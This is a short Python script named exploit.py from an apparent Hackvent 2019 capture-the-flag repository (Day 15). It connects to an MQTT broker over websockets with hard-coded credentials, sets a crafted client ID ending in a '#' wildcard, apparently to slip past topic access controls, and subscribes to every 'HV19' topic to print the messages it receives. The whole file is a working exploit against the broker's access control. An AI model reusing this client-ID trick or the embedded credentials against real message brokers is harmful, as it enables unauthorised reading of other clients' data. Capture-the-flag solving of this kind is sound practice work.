Hackvent_2019/Day 15/exploit.py
2019-12-16 20:29:35 +01:00

35 lines
916 B
Python

#!/usr/bin/python
import paho.mqtt.client as mqtt
import time
import random
import logging
def on_connect(client, userdata, flags, rc):
if rc == 0:
path = 'HV19/#';
client.subscribe(path, qos=0)
def on_message(client, userdata, msg):
print(msg.topic, msg.payload)
def on_publish(client, userdata, mid):
print("message published")
def createClient(username, password):
clientId = "%016d/#" % 0
client = mqtt.Client(transport="websockets", client_id=clientId, clean_session=True)
client.username_pw_set(username, password)
client.on_connect = on_connect
client.on_message = on_message
client.on_publish = on_publish
client.on_log = on_log
return client
def on_log(c, userdata, level, buf):
print(str(level), buf)
client = createClient("workshop", "2fXc7AWINBXyruvKLiX")
client.connect("whale.hacking-lab.com", 9001, 100)
client.loop_forever()